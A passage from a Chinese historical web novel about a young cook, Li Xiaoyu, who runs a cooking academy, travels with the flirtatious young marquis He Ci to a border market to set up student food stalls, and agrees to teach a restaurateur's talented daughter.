“没事的爹,三弟可以学做腌菜或是做酱。这些在家也能做,就是要的盐多些。做好了,也需要时间。农闲的时候可以周边村子卖一卖,或是拿去城里,卖给饭馆也不是不行。”
丁仁又想了一下,“学做其他的小吃也可以,农忙卖不了,农闲能卖啊。反正农闲的时候,也要出去找活干。”
丁老汉听着有道理,丁义眼睛又亮了起来,期待的看向他爹。
儿子心里想什么,做爹的哪里看不出来。丁老汉看向三儿子,说道:“成,等那学院招人的时候,你也去选一个学。”
丁母看着三儿子高兴的蹦起来,她也松口气,拿着背篓去灶屋。
进去后,她靠近了三儿媳,把背篓里装着红烧土豆炖牛肉的大海碗端出来,轻轻的放在灶台。
“行了,快抹抹眼泪。你大哥和你爹说了,叫老三后面也报名去学。”
王花吃惊的抬头,脸上眼泪还没干呢。
这事好事,是她梦寐以求的好事,但也有迈不过去的担忧。
“他走了,家里地咋办啊?”
丁母说:“学了手艺,农闲的时候出去摆摊。”
这样不耽误农活,又能有一门赚钱的营生,王花喜笑颜开,给灶膛里添柴火,“这样好。”
丁仁进屋后,从腰带内侧缝着的暗袋里掏出一串铜钱,他交给妻子刘芳,“这是买东西剩下的,你收着留用。遇到卖那麦芽糖的货郎,给孩子们买些甜甜嘴。”
刘芳把铜钱收下,“他们吃过了糕点,怕是要天天记着糕点的味道。哪还能想麦芽糖呢。”
“那下次回来我再买。”说着,丁仁又掏出一根紫色的发带,“给你的。”
刘芳看着漂亮的发带惊讶的捂嘴,“这色真好看。”
摸着发带,就知道料子也好。那上头还绣着花样呢。
刘芳想着这东西肯定不便宜,心里高兴丈夫记着自己,但就是忍不住心疼钱,“我有发带用,你说你花啥冤枉钱啊。”
丁仁笑着看妻子,“没花冤枉钱,我觉得你带着好看就买了。”
丁家人热热闹闹的吃了顿晌饭,丁仁带回来的那碗炖牛肉,丁家人吃的满嘴留香。回味一下,都是软烂入味的牛肉咸香,还有绵软有味的土豆。
最后的汤汁,都匀了给孩子们泡饭吃。
孩子吃的那叫一个喷香,脸都埋碗里去了。
吃完晌饭后,村子里的人就登上了丁家的门。
不仅是丁家,孙家和赵家也是一样。
丁仁自然没有对村民说他留校任教的事情,更没说待遇。
而村民们问丁仁的那些,其实之前赵晓都讲过。只是他们那时候忧虑太多,即便是听了,也没有听进心里去,光想着各种不好的情况了。
村民们得知学院真教东西,最关心的便是还会不会再招人。
“会,具体的时间师父还没说,但肯定会招人的。”
得到了肯定的回答,村民们终于放心了。
还有机会就好。
……
学生们离开的时候,黎小鱼专门和在辞州的学生们说五天后再来。
黎九章那天会让人带着他们去互市看铺子。
要是愿意在那边支摊子,会给他们统一安排。
要是不愿意,他们可以回来,自己找地方支摊子。
孙山石和赵二狗学的不是小吃,是豆制品的制作,他们不用去。
而这两家人在家里商量了几天,决定两家一起做这生意。
十几种的豆制品,光靠一个人根本就做不来。两个人一人做一半,种类丰富,卖的也能更多。
两家人决定好之后,孙山石就去了麻辣烫铺子。
现在铺子里的一应事务,由李山野打理。
此前黎小鱼对李山野说过,要是学生过来问定不定豆制品,就按着铺子里用的量去定。
麻辣烫铺子豆制品用量还不少,孙山石来询问是否订购后,李山野一连串报了不少。
每一样每天都要十斤。
这对目前的孙山石他们来说,是一笔大单子。
双方找人写了契书画押,李山野给完定金,孙山石就快速回村,着手准备。
到了去互市的日子,黎九章身为官员不能随意离开清云府,只能派小吏护着人去。
小吃美食城是黎小鱼提出来的,黎九章与定安侯联系按着黎小鱼提的去建小吃美食城。
黎九章让黎小鱼这次也跟着去一趟,看看有没有地方需要改善。
也算是替他带队,有个什么事,那些小吏和百姓们还有个人能问问。
互市离清云府不算太远,马车一天一夜,骑马的话,一天就能到。
现在只是先过去看,倒是不需要带行囊。
近二十人过去,是马拉着板车,速度上比马车还慢一些。
因为要在外面过夜,黎小鱼提前与贺辞说了,暂时没办法给他做午饭。
贺辞当时只说知道了,也看不出情绪是好是坏。
没想到出发的那天,贺辞骑着马出现在了城门外。
黎小鱼单独一辆马车,由赵晓驾车,他看着贺辞一时间有些发怵。
扭头对马车里的人道:“小郎君,小侯爷来了。”
黎小鱼掀开车帘看贺辞,“小侯爷这是要去哪?”
贺辞拉着缰绳,让马晃悠到车窗边上,英俊的脸上露出一抹坏笑,“你去哪,我就去哪。”
贺辞决定的事情,没人能说服他。
黎小鱼只好放下车帘,对赵晓说:“出发吧。”
因来往的行商商队很多,去互市的路上并不缺住宿的客栈。
贺辞自是要上房,他要了两间上房,被告知上房只有一间。
只好又定了一间次一等的房。
等贺辞订好房后,黎小鱼正要上前,就被贺辞拉着上楼,又被他塞进了上房,“你睡这间。”
上房环境好,隔音也不错,晚上还能叫热水在浴桶里洗澡。
黎小鱼想了一下,还是去敲贺辞的房门。
很快贺辞就开了门,他倚着门框,“怎么了?”
黎小鱼轻咳一声,“小侯爷要不要去上房那边洗个澡?”
贺辞似笑非笑的看着黎小鱼,“你敢让我去?”
黎小鱼忽视贺辞的话,不回他这个问题,只说:“我会等小侯爷洗完后再进去,小侯爷不必担心会被人打扰。”
瞧着眼前人耳朵也红了起来,贺辞见好就收,不再逗人。加上走了一天的路,他也确实想清洗一下。
“好。”
贺辞洗完后,随便披了一件外衣。
楼下黎小鱼见小二开始换水,便上了楼。
没想到贺辞没走,还在屋里坐着。
长卷发湿哒哒的披着,水珠从脖颈,经过鼓囊的胸肌一路往下滑,最终隐入腰腹间系着的裤带中。
黎小鱼只看一眼贺辞大敞的领口,立即偏头。
等他偏开之后,又奇怪自己为什么要这样做。
想着,他又回过了头。
贺辞此时已经靠近他,身上有淡淡的清香,还有氤氲的水汽。
空气都变得潮湿起来,黎小鱼觉得有些呼吸不畅。
贺辞低头,“怎么才回来?”
黎小鱼控制着呼吸,“小侯爷还在这,是有事?”
“嗯。”
贺辞伸手,递给黎小鱼一条布巾,“帮我擦一下头发。”
黎小鱼盯着布巾看了一会后,无奈接过。
“小侯爷坐下吧,你太高了我够不着。”
“好。”
黎小鱼给贺辞擦头发,刚开始还好好的,后面因为贺辞的头发实在太多太厚,黎小鱼擦的手酸,干脆直接拿着布巾按在贺辞脑袋上狂搓。
贺辞抓住黎小鱼的手腕,斜仰着头笑看他,“黎小鱼,你再这样搓下去,我就秃了。”
“不会,小侯爷的头发多的很。”黎小鱼否定了贺辞的话,要继续搓。
贺辞看出黎小鱼是觉得好玩,也想小小的报复他使唤人,便放开黎小鱼的手,任由他在他的脑袋上胡作非为。
贺辞的头发是大卷,干了之后更加的蓬松。
加上黎小鱼乱搓一通,他就像顶了个爆炸鸡窝一样。
黎小鱼没忍住笑了一声。
“玩够了?”贺辞问道。
“玩,擦好了。”
话到嘴边,黎小鱼切的快,差点就被套出了实话。
贺辞顶着那鸡窝头起身,准备要走,“你快洗澡吧。”
小二已经把浴桶清洗干净,又添好热水。
黎小鱼送贺辞离开后,快速的洗了个澡。
不过再快,也因为洗头发降低了速度。又因为水温越来越舒服,黎小鱼不可控制的泡的久了些。
蒸腾的热气,让黎小鱼的脸染上红晕,唇色也更加的红润。
洗完之后出来,黎小鱼觉得脑袋有些晕乎乎的。
想是通风不好,他又泡的太久,缺氧难受。
快速的穿好了里衣,头发随便一裹,先往床上一躺。
闭着眼睛,调整呼吸。
也不知道闭眼了多久,黎小鱼似乎听到了敲门声,但又像是幻觉。
当他想仔细分辨那声音是不是真实的时候,又听不见了。
没一会,他听见有人急切的叫他名字。
“黎小鱼!醒醒!”
黎小鱼睁眼,看见了好几个贺辞。
他伸出双手,对着空气往中间拢。
贺辞眼睁睁看着黎小鱼双眼朦胧,脸色酡红,伸出手啪的一声,他的左右脸同时被黎小鱼拍了一巴掌。
始作俑者拍完后,两眼一闭又晕了过去。
再醒来的时候,黎小鱼第一眼看见了贺辞的下巴。
他好像躺在贺辞的腿上。
黎小鱼吓的要坐起来,被贺辞一把按下,“别动,给你擦头发。大夫说湿着头发睡,会湿气入体,对身体不好。”
黎小鱼道:“我自己来吧小侯爷。”
贺辞有完美的拒绝理由,“你刚刚也帮我擦了。”
黎小鱼躺如针毡,贺辞的大腿肌肉实在有力,他总觉得自己要滑下去。
而且贺辞衣服依旧没好好穿,他一扭头,鼻子都能碰到贺辞的腰腹。
更重要的是,他热晕乎的时候,给了贺辞两巴掌。
黎小鱼浑身绷紧,不是怕贺辞还他两巴掌,是怕自己滑下去尴尬。
头发擦得差不多,贺辞看着直挺挺的黎小鱼,弯腰凑近他。没等说话呢,就感觉衣领一紧,黎小鱼在滑下去之前下意识的随手抓东西,结果就拽了贺辞的衣领。
两边一起拽还好,但不幸的是只拽到了一边。
黎小鱼坐地上的时候,耳边传来撕拉一声。
贺辞没空管衣服,先单手把人从地上捞起来。
黎小鱼感觉自己旋转了一下,回过神的时候,已经从地上转移到了床榻上坐着。
还在发懵着,就见贺辞指着撕破的衣服笑道:“你手劲挺大啊。”
衣服破口太大,堪堪挂在贺辞的身上。
精壮的身形若隐若现,充满力量感。
黎小鱼不好意思道:“小侯爷,我会赔你,实在抱歉。”
贺辞可不在意这衣服,他偏头看黎小鱼,“衣服成这样,我是出不去了。”
黎小鱼想说把他的衣服先给贺辞穿,但他的衣服贺辞似乎穿不上。
“我去小侯爷房间,给小侯爷拿衣服。”
贺辞不要,“我睡觉只能穿这件才睡得着。”
黎小鱼看向贺辞,发现对方脸上带着笑,就是故意捉弄他的。
“那我和小侯爷换房睡。”
贺辞留宿计谋没能成,又不想黎小鱼睡不好的房间,只能穿着那件破衣服回自己的房间。
“早点睡,明天还要赶路。”
黎小鱼见贺辞那么痛快的就走了,他躺回床上,盯着床顶发呆。
第58章 第 58 章
也不知是什么时候睡着的, 黎小鱼做了个梦。
梦里有怪物压着他,尽管他拼尽全力也没办法动弹分毫。
就在他决定同归于尽的时候,被拍打房门的声音惊醒。
“黎小鱼, 醒了吗?”
贺辞的声音响起, 黎小鱼惊坐起身, 额头还冒着些许的冷汗。
他缓和一下情绪后, 起身开门。
“做噩梦了?”
贺辞在看见黎小鱼的时候, 便看出他的不对劲。
黎小鱼点头,“嗯, 小侯爷这么早来所为何事?”
他不想谈论梦境, 干脆转移话题。
贺辞道:“没什么,时间不早叫你起来吃饭。”
黎小鱼不太想吃, 贺辞没给他拒绝的机会, “昨天大夫说你身体有些虚, 早上的饭不能不吃。”
身体要紧,黎小鱼没再拒绝, 洗漱完后吃了贺辞拎过来的粥和小菜。
一行人到互市的时候, 已经傍晚。
落日余晖, 红霞满天。天地像是相连一起,一望无际。
一阵风起,卷起沙漠中的沙砾。黎小鱼刚下马车,就被风沙糊一脸, 眼睛快速闭上却还是进了沙子。
嘴里也有,牙齿稍微一动, 就能感觉到颗粒感还有沙子咬碎的声音。
黎小鱼没空管嘴里的沙子, 抬手要揉眼睛。
“别用手。”
贺辞大步过来,用后背替黎小鱼遮挡风沙。指腹扒开黎小鱼的眼皮, 给他吹走沙子。
黎小鱼泪腺发达,没一会就泪流满面。
贺辞顺势给他抹去眼泪,低声笑道,“倒是省事,不用再吹,你这眼泪已经能把沙子全冲刷出来。”
黎小鱼不回他的话,眼泪簌簌的流。贺辞干脆捧着他的脸,帮他擦眼泪。因练箭指腹有茧,蹭的黎小鱼喊疼,他觉得自己的脸皮要被贺辞刮掉了。
“你轻点。”
贺辞改用食指,指节屈起,“还疼吗?”
黎小鱼忙着哭,没空说话,只摇摇头。
贺辞用气音笑着说一声娇气,随后又问:“要不要去见凌少卿和柳玉攀?”
黎小鱼点头。
兄弟二人来互市有一段时间,期间会给黎小鱼写信,说一说互市发生的事情。
两人来之后,时间多没事干,就跟着各国的外商学语言,还会在信里写上一两句。
也会让递铺的送些东西过来,柳玉攀给小猫儿买了不少好玩的。
会动的灯笼,木偶娃娃,动物面具……
小猫儿都成巷子里的孩子王了,不是武力值超强,而是他玩具最多。
凌少卿会送些放的久的异域吃食过来,师徒二人会点评一二。然后试着写制作原料,以及如何能做的更好吃。
二人住的地方黎小鱼是知道的,互市最大的客栈,过云楼。
足有三层,傲视整个互市。是互市最高的建筑,叫过云就是暗指楼高有云层穿过。
当然这是夸张了,三层哪能过云,不过是噱头。
因为是互市最高的,只要在互市内,不管哪个方向,总能看见它的位置,很突出。
去过云楼找凌少卿兄弟两之前,黎小鱼要先安顿好人。
互市这边客栈很多,学生们这次出来是自费。干粮都是自己带,就想省点钱。
因此黎小鱼给他们找的也都是便宜的大通铺,有个地方能遮风挡雨好睡觉,对他们来说完全足够了。
小吏们也住大通铺,他们这算是出公差,花销由官府给。不过因为黎九章能支配的银钱不多,给他们的也有限。
虽然不会让他们没地方住,没东西吃,但也没办法住太好吃太好就是了。
他们也不在意睡的怎样,反正在哪都能睡着。所以会住大通铺省点钱,省下来的钱用来买好吃的。
美滋滋的吃一顿,再喝两杯小酒,倒头就能睡。
贺辞知道黎小鱼不会单独去别的客栈住,便在同一家客栈要了两间上房,他和黎小鱼一人一间。
黎小鱼手里拿着贺喜塞过来的钥匙,他还以为贺辞会去过云楼住。
两人的房间是相连的,放好东西后,黎小鱼与贺辞去过云楼找凌少卿他们。
确定要来互市的时候,黎小鱼就提前写了信告诉二人。
凌少卿算着日子该到了,这两天都没怎么去给柳家那边找麻烦。
黎小鱼到过云楼的时候,兄弟两正好在。
多日不见,凌少卿终于看到熟人激动的跑过来就要搂黎小鱼。
他的动作快,贺辞动作比他更快。
长手一伸,将人隔绝在外。
“你说话就说话,别动手动脚的。”
凌少卿不解,给贺辞解释,“小侯爷,我不是想抱你,是想抱我师父。”
你能让开吗?挡着我道了。
贺辞眉头一皱,直接挡在黎小鱼面前,“拦的就是不让你抱黎小鱼。”
他都抱不着,凌少卿也别想,碰一下都不行。
凌少卿见贺辞要发火,虽然不明白为什么小侯爷要这样拦着还不高兴,但他不想惹贺辞,省的被揍。
只好往后退,领着黎小鱼去他的房间,上楼的时候还对黎小鱼说:“师父,你让我盯着小吃美食城,我盯了。那边好几家铺子打通,面积很大,放师父说的小吃摊子那种大小的话,三十个都不成问题。”
黎小鱼是准备明天白天带着人去看,现在按着凌少卿说的数据想一下,那面积确实不小。
柳玉攀跟在不远处,在贺辞不悦的目光中,与黎小鱼保持着一定的距离。
进屋关好门,凌少卿给黎小鱼和贺辞倒水,柳玉攀看向黎小鱼。
“这边的吃食特别好吃的没遇见,种类也不多。牛肉做菜的比清云府多一些,不少都是冲着吃牛肉来的,不过那肉做的不好吃。没有珍馔楼的卤牛肉香,也没有小饭馆的红烧牛肉好吃。真是白瞎了好肉。”
黎小鱼没想到柳玉攀会观察这些,这心意他是领的。
按着柳玉攀说的,看来厨师学院学成的学生们,来这摆摊的话,生意应该不差。
贺辞等黎小鱼三人说完之后,才掏出一块圆溜溜的铜制令牌给凌少卿。
他也没有避讳黎小鱼,直接对他和柳玉攀说:“这是凌将军叫我带来的,柳家的那批货有问题,在和外域商人交易当天,务必把货扣下。令牌能调动互市这边的驻军,必须当着人多的时侯扣下检查。”
人多眼杂,消息传得快,柳家没办法抹掉。
前提是,必须百分百的保证那批货有问题,才能直接抓现行。
黎小鱼对凌,柳两家的事也了解,凌少卿和柳玉攀都没瞒他。
想来凌将军这次是有十足把握,能将柳家整个掀了,不然也不会动手扣货。
不过他也有些别的担心。
古代家族一荣俱荣一损俱损,柳家要是没了,那柳玉攀身为柳家嫡子,就算是他没有犯罪,可他的身份就是罪。
黎小鱼问贺辞,“柳家要是没了,柳玉攀能脱身吗?”
此言一出,凌少卿和柳玉攀面色凝重不少,这事,他们有想过。
答案就是没办法脱身。
不过倒是死不了,柳玉攀从小生活在凌家并不是秘密。稍加运作的话,应是只剥夺身份,不能参加科考为官。
贺辞却是直接摇头,他看向柳玉攀,“凌将军都做了万全的准备,不然他不会一直拖到现在才动手。收你为义子的圣旨已经在路上,在柳家事发之前会宣读。柳家再怎样,也牵连不到你。”
来之前贺辞没敢和他爹说是护黎小鱼来互市,只说许久不见凌少卿和柳玉攀,想来互市看看。
凌将军知道贺辞要去互市,就把令牌和消息告诉他,省的再派心腹来传。
他手下心腹来的次数多了,会引起柳家人的怀疑。
交给贺辞正好,柳家人就算是吃了熊心豹子胆,也不敢把贺辞拦下看查问搜身。
因此这次来互市,贺辞一半是想护黎小鱼,还有就是将令牌与这个消息带给兄弟二人。
柳玉攀和凌少卿听到这消息也是惊讶,他们从来没听姨父/爹透露过一点风声。
凌少卿奇怪道:“陛下怎么会同意的?”
贺辞还真知道,他当时也想不通为什么会同意。
毕竟凌家有儿子,柳玉攀的亲人也全部在世。
这样的情况下,让人家儿子当另一家的义子,实在是匪夷所思。
然后他爹告诉他,凌将军请旨的时候,送了凌家的大半身家,填充皇帝私库。
然后皇帝就同意了。
人人都有缺点,当今陛下不是爱财,但他好面子,吃穿用度都要顶好的。每年还要出宫三五次,说是体恤民情,但贺辞觉得,他就是为了显摆。
出行的排场阵仗大的吓人,车撵都要镀层厚金,镶嵌无数珍宝。
要不是黄金再多的话,会影响舒适度还有安全性,皇帝为了排场面子,能弄个纯金的。
再多的银子也经不起这样的折腾,凌将军送大半身家,入的还是皇帝私库,这简直就是送到了皇帝的心坎上。
那柳玉攀从小就生活在凌家,柳家本来就不闻不问的,不如随了凌将军的心意。
贺辞说了原因后,柳玉攀嘴角一抽,“我还挺贵。”
可不是吗,凌家经年的累积,大半身家可不是小数目。
凌少卿抱着柳玉攀闻了一下,感叹道:“啊,金钱的味道。”
黎小鱼三人被他逗笑,好在能用钱解决的问题,都不是问题。
……
翌日一早,黎小鱼起了大早,要带人去小吃美食城去看铺子。
如凌少卿所言,打通之后的铺子,面积很大。
因为里面空无一物,进去后感觉呼吸都有回响。
学生们跟着进来,转着圈的看铺子四周,惊叹连连。
好大,好好的铺子啊。
这就是黎大人给他们找来摆摊子的地方吗?
“快看还有后院。”
众人闻言快速走去,后院也都打通了,有住的地方。
还有两口水井,院子面积也不小,与住宿区可以隔一下,上面搭个草棚,还能放桌子板凳,让食客在外面坐着吃东西。
互市这边靠着沙漠,有水井的房子很值钱。
加上又是各国外商聚集交易的地方,客流多的不必说。这里的铺面可不是有钱就能拿下,还需要有权才行。
能在这做生意,都不是没背景的。
黎九章对铺面摊位的定价,是一月一两银子。包括了后院住宿,以及水井使用。
一两银子很多,这让大家有些退缩。
可看外面人来人往,他们也知道要是在这有个小摊子,是完全不愁卖的。
更何况还有单独的水井能用,住宿也不花钱。真要说起来,一两银子一个月,在互市并不贵。
赵晓看出了他们的纠结犹豫,“黎大人说,可以签个契约,先做一个月。下个月的第一天,连着第二月的租子一起交。如果下个月决定不在这摆摊,就只交一个月的。”
有人因此打消了犹豫,不用家里想办法凑出一两银子,他们愿意试一试。
有人还是不敢迈这一步,怕这一个月没办法回本。他们前面还欠着二两银子,不敢再欠。
最后,二十多人里,有十五人决定在这支摊子卖看看。
按着报名的顺序,自行选择摊位的位置。
基本上都靠前选,一进门就能看见。卖的都是没见过的吃食,一排吃下去,越靠后的摊子越吃亏。
因为食客的肚子已经饱了,就算想吃也没有办法。
十五人选好了位置,赵晓拿着钥匙去后院的大仓库,里面放着统一定制的小摊车。
摊车挂着长长的木牌,可以自己写摊车卖的吃食名字。
黎小鱼从小就习字,字写的还不错,便帮他们写了木牌,也免他们出去找人写牌子的花销了。
因为黎小鱼知道卖的吃食是什么,还会在最前面和最后面留个空位,简单的勾勒出食物的样子。
就算是不识字,看图也能看出来卖的是什么。
把小车摊摆放在各自的位置上后,吃个午饭,买些饼和窝头做干粮,就准备回去了。
确定在这摆摊的十五人,回去后要收拾东西再赶回来。
早一天开张,早一天有钱进账。
他们一个人肯定弄不了摊子,还要从家里带人来帮忙。
回到清云府,黎小鱼也开始着手要招第二批学生。
在此之前,夏安那边也终于有了消息,说有个好铺面,位置也好。
不过东家想和他亲自谈谈。
黎小鱼在夏安的安排下,在一座茶楼雅间见到了人。
对方也是个开酒楼的,在东集。
他家招牌菜多,生意是东集最好的。那铺面在酒楼的边上,是酒楼专门用来卖散酒的。
生意好,不缺钱。但是愿意把这铺面让出来,不用猜都知道,对方图的不是钱。
果然,在一阵寒暄之后,黎小鱼就见对面那位,人称祁五爷的清瘦老头一抹胡子,笑的慈祥和蔼,准备给他灌迷魂汤。
“小郎君厨艺了得,老朽也有所耳闻。客来酒楼是老朽从小饭馆一步一步做起来的。不说虚话,也不是老朽自夸,东集能有如今的繁荣,与我的酒楼有莫大的关系。”
此时夏安给黎小鱼使了个眼色,老头没说谎。
东集本来根本就不存在,是客来酒楼还是小饭馆的时候,因为菜好吃,吸引不少的食客去品尝。
那边慢慢的就聚集起了人,后来越聚越多,还有不少的摊贩聚集卖东西,官府干脆弄成了一个大集市。
有些外商会从互市过来摆摊,知道东集人多,也都选择东集。
想买外商东西的,知道外商在东集,自然也去东集。
时间长了,就全都固定在东集那边,人多,集市就大,就热闹。
从而,那边的铺子价格也水涨船高。
一般来说,除非是急需用钱,不然的话,没人愿意卖掉东集的铺子。
毕竟留在自己的手里,能一直生钱呢。
黎小鱼接收到夏安的暗示,知道老头没夸大,心里有数了。
铺子价值越高,对方所求越大。
黎小鱼没接腔,以不变应万变。
祁五爷故意等了一会,没等到黎小鱼的恭维,他只好接着说:“按理说,我那铺子是不该卖的。只是人这一辈子,所做一切,不是为自己,就是为家人。”
黎小鱼坐直了一些,老头要放大招了。
“老朽已经半只脚踏进棺材了,不必再为自己考虑什么。但家里儿子一个个都不成器,对做菜全都不感兴趣。整天就知道吃喝玩乐,有了媳妇也不知道收心。要是一直这样下去,我怕客来酒楼,迟早会被这几个臭小子给败掉。”
黎小鱼能明白,败家富二代,他前世也见了很多。有些真的是吃老本,最后坐吃山空,什么都没了。
由俭入奢易,由奢入俭难。很多为了保持那样的挥霍生活,走上犯罪道路的也不少。
黎小鱼静静听着,祁五爷见他神色镇定温和,坐在那一副认真聆听的模样,也让祁五爷真的想要倾诉一番。
他有四子一女,四个儿子没一个行的。大儿子懒,二儿子好色,三儿子爱玩,四儿子蠢笨软弱。
唯有续弦生的小女儿,自幼聪慧,勤奋好学。对做菜学厨也有浓厚的兴趣,更是一点就透。
十岁那年,还将他教的那些菜,写成菜谱,送给他当生辰礼。
他翻看着菜谱,心里是真高兴啊。
他不止一次的想,小五要是个男娃就好了,那他的铺子也算后继有人。
这些年来,小五厨艺越来越好。另外四个也越来越不成器,客来酒楼已经快养不起这四个吞金兽。
尤其是在小饭馆出现后,祁五爷叫人来买尝过,味道是真的好啊。他那时候就知道客来酒楼再继续这样,衰落是迟早的事。
而厨师技术学院招生,无疑是加速客来酒楼的衰落。
小吃摊的那些吃食,祁五爷也一样不落。每一样都很新奇,味道都很好。
据他所知,这些仅仅只是二两银子就能学到的档位。
上面还有更高的存在。
他所了解到的,等着第二批招生去学的厨子,不在少数。
等这些人学成,客来酒楼招牌菜的优势只会越来越小。
酒楼是他耗费了许多心血,才做到今日的模样。
要是真的这样被败掉,他死不瞑目。
祁五爷想了许久,与其在四个臭鸡蛋里面挑一个不那么臭的,不如直接给小五。
只要招赘,也不怕酒楼被外人吞掉。
但小五的四个哥哥都不是东西,他怕等他百年之后,这四人会联合外人来伤害小五。
金钱利益,会使人变成鬼。
祁五爷不想拿他女儿的命去赌。他也想过不然就算了,把酒楼随便给一人,爱怎么败怎么败吧。
可当他看见女儿坐在亭子里偷偷抹眼泪,对丫鬟说喜欢做菜,明明做的那么好,依旧不能去酒楼后厨时,祁五爷决定和小五好好谈谈。
父女俩长谈一次后,祁五爷确认,小五想要酒楼。但不是为了钱,她和他这个当爹的一样,就是喜欢做菜,喜欢经营酒楼。
从那时起,祁五爷就在想着,要怎么给小五找靠山,铺路。
想了许久,都毫无头绪。
直到有一天,他看到牙行的夏安,在东集那边打听有没有出售铺子的。
一问才知,是想替那厨师学院的创立者,黎小鱼找铺面。
那时候,一个想法就在祁五爷的脑袋里形成了。
祁五爷对黎小鱼说了他的困境,还有小五身为女子,加在她身上的束缚。
黎小鱼和夏安听着,心里也是无可奈何。
女子手中有钱,要是没有丈夫和成丁的儿子,是会被吃绝户的。
所有人都会像吃人的鬼,朝着她涌去,直到将她身上最后一枚铜板搜刮。
更别提这位五小姐上头还有四个如此模样的哥哥,祁五爷的担心,实在是不为过。
这五小姐,就像是拥有一座金山的稚童,靠近她的不可能会是纯良善人。
黎小鱼终于开口问道:“祁五爷说这些与我听,是想我帮五小姐和四个哥哥夺家产?”
祁五爷摇头,一脸正经的说:“老朽想让你娶我家小五,到时候别说是那小铺子,客来酒楼都能是郎君的。”
夏安被自己口水呛住,咳嗽个不停。
黎小鱼想也没想就拒绝了,“晚辈不能这么做。”
“为什么不能?我家小五大郎君三岁,俗话说女大三抱金砖。你俩分明是绝配啊!”
祁五爷又掰着手指头数,“我家小五长得可不差,英气的很。个头又高,一把子力气。老头子我摔倒不能动,小五直接就把老头子抱起来了。”
说着祁五爷看向黎小鱼,“你这样的瘦,小五一次能抱两。多好啊,以后成婚了,你都不怕摔。”
黎小鱼哭笑不得,这都什么和什么啊。
“祁五爷,晚辈成婚,只会和真正心仪之人。此后余生,也仅有一人相伴。晚辈与五小姐素未谋面就谈婚论嫁,实在不合适。”
祁五爷不死心,“那你俩多见见不就可以了。”
黎小鱼摇头,这次更坚定,“晚辈不会娶五小姐。”
祁五爷摸着胡子,眼珠子一转,“既然郎君如此坚持,那老朽只好退一步。你就收小五为徒吧。”
“不娶妻,收徒能行了吧?到时候小五要是遇到什么困难,一招手师门来了几十个师兄弟,肯定没人敢欺负她去。”
祁五爷说的两眼放光,黎小鱼怀疑这才是祁五爷本来的目的,只不过是怕他不接受,所以先说了要他娶五小姐。
“祁五爷,你可想好,五小姐要是来这和我学做菜,怕是会有很多的流言蜚语。”
黎小鱼并不介意多收一个学生,只是时代不同,这对五小姐来说不是一个好的选择。
祁五爷摆摆手,“小五自己要的,我来之前早就和她说过。她不怕这些。”
“对了,小五就在隔壁的雅间,郎君要不要见见?”
虽说是询问,但祁五爷说完,就站起来直接往外走。
见见也不是不行,黎小鱼和夏安都跟上了一起去。
“小五开门,是爹。”
祁五爷啪啪的拍门,里面传来脚步声,吱呀一声门开了。
门后站着一身形高挑,五官俊朗的“少年”。
“少年”声音清润,勾唇一笑帅气逼人,“爹,谈妥了?”
黎小鱼终于知道为什么五小姐不在意了,她穿上男装,没人能分辨出她的性别。
那个子比他都高出一些,脸型棱角分明,俊的很。就连声音都是偏中性,听不出来是女子。
夏安也看傻了,这哪是五小姐,明明是五公子啊。
三人进去后,祁五爷就先对黎小鱼介绍,“这是老朽的小女儿,她娘生她那天起了大雾,所以就叫祁雾。”
随后又对祁雾介绍,“这位就是你想拜师的黎郎君。”
“黎郎君边上的,是牙行的夏安。”
祁雾对二人点头致意,几人落座后,祁雾又起身,举着一杯茶,“请郎君收我为徒。”
第59章 第 59 章
黎小鱼没接这茶, 他之前收许活,因为许老头人将死去,面上应一下无妨, 让老人家走的安稳些。
后面他虽教许活, 但也与看待其他学生一样, 没有多例外。
许活后面在珍馔楼干的很好, 偶尔会去小饭馆送点他做的吃食, 保持着联系。但也仅此而已,只是普通的师生之情。
黎小鱼对祁五爷父女二人道:“进学院学厨不需要敬茶, 你们可以理解为, 我只是夫子,给束脩, 就教学生。”
“不过祁五爷可以放心, 五小姐需要我们出人手撑场子, 赶走一些臭鱼烂虾,作为老师和同窗, 是不会袖手旁观的。但除此之外更多的, 怕是无能为力。”
黎小鱼虽这么说, 但他不觉得祁雾会解决不了。
祁雾给他的感觉,就是坚韧厉害有手段。她唯一的弱点,就是在受限制的时代里,是个女儿身。
一些人, 会因为她是女子,就无故的攻击和欺负她。
对于黎小鱼的话, 祁五爷是不满意的。他想要的是黎小鱼能真正的保护祁雾, 做祁雾的后盾。
但祁雾不这么想。
她只需要黎小鱼能做到他说的那样,就足够了。不过她爹总因为她是女子, 就诸多的担忧,想要为她彻底铺平道路。
其实,她并不需要。前面没路,她自己蹚一条路出来就可以。
“爹,这样就可以了。”祁雾阻止她爹继续说,她将茶水放回桌上,“爹,相信女儿。”
祁五爷无奈叹气,他不是不相信女儿,是不相信别人啊。
女儿再厉害,总会因为她是女子而受到欺负。不过要他再给女儿找别的师父,他也找不出来。
祁五爷是观察许久,这次交谈后确认,黎小鱼是个可堪信任的人。
其他的,都是不值得信任的。
不过强扭的瓜不甜,祁五爷也不想因为这事与黎小鱼生嫌隙,只能退一步。
“好,就依黎郎君所言。还望黎郎君能记得今日之诺,小女需要之时,能给小女撑撑场面。”
祁五爷起身对黎小鱼弯腰,“老朽,感激不尽。”
“祁五爷哪里的话。”黎小鱼赶紧把人扶着坐下,“我说话算话,自不会诓人。祁五爷放心吧。”
祁五爷笑着应了一声,解决了女儿的事情,他开始谈起酒楼边上的铺子。
“我要卖给郎君的铺面,以市面上的价格,再低三成出售。郎君可愿接受?”
铺子就在客来酒楼的边上,那边的客流是极高的。就算是高出市场价三成,那铺子都是卖便宜了。
黎小鱼知道祁五爷这是想卖人情,不是卖铺子。只有他收下,祁五爷才能真正的放心。
“多谢祁五爷。”
听到黎小鱼答应,祁五爷笑了出来。连忙招呼着说去看看铺子,要是看上,当场就能签。
对祁五爷来说,黎小鱼的铺子开在他酒楼边上,是一个很好的选择。酒楼有个什么风吹草动,黎小鱼这边的人也能及时发现,去给他女儿撑腰。
不过是舍些银子,但能给女儿多一层安全保障,祁五爷觉得值。
一行人没耽误功夫,出茶楼直奔东集的客来酒楼。
客来酒楼是个院子,面积很大。还是当初东集没发展起来的时候,祁五爷把前后左右的铺面地皮买下,打通建成大院。里面亭台楼阁,水榭画舫应有尽有。
边上要卖给黎小鱼的铺面,有两面墙是有镂空,全装了窗户。
白天的时候撑开,里面通风又亮堂。
屋顶往外延伸,搭建了个草棚,外面摆着两张小桌,墙角堆着空酒坛。
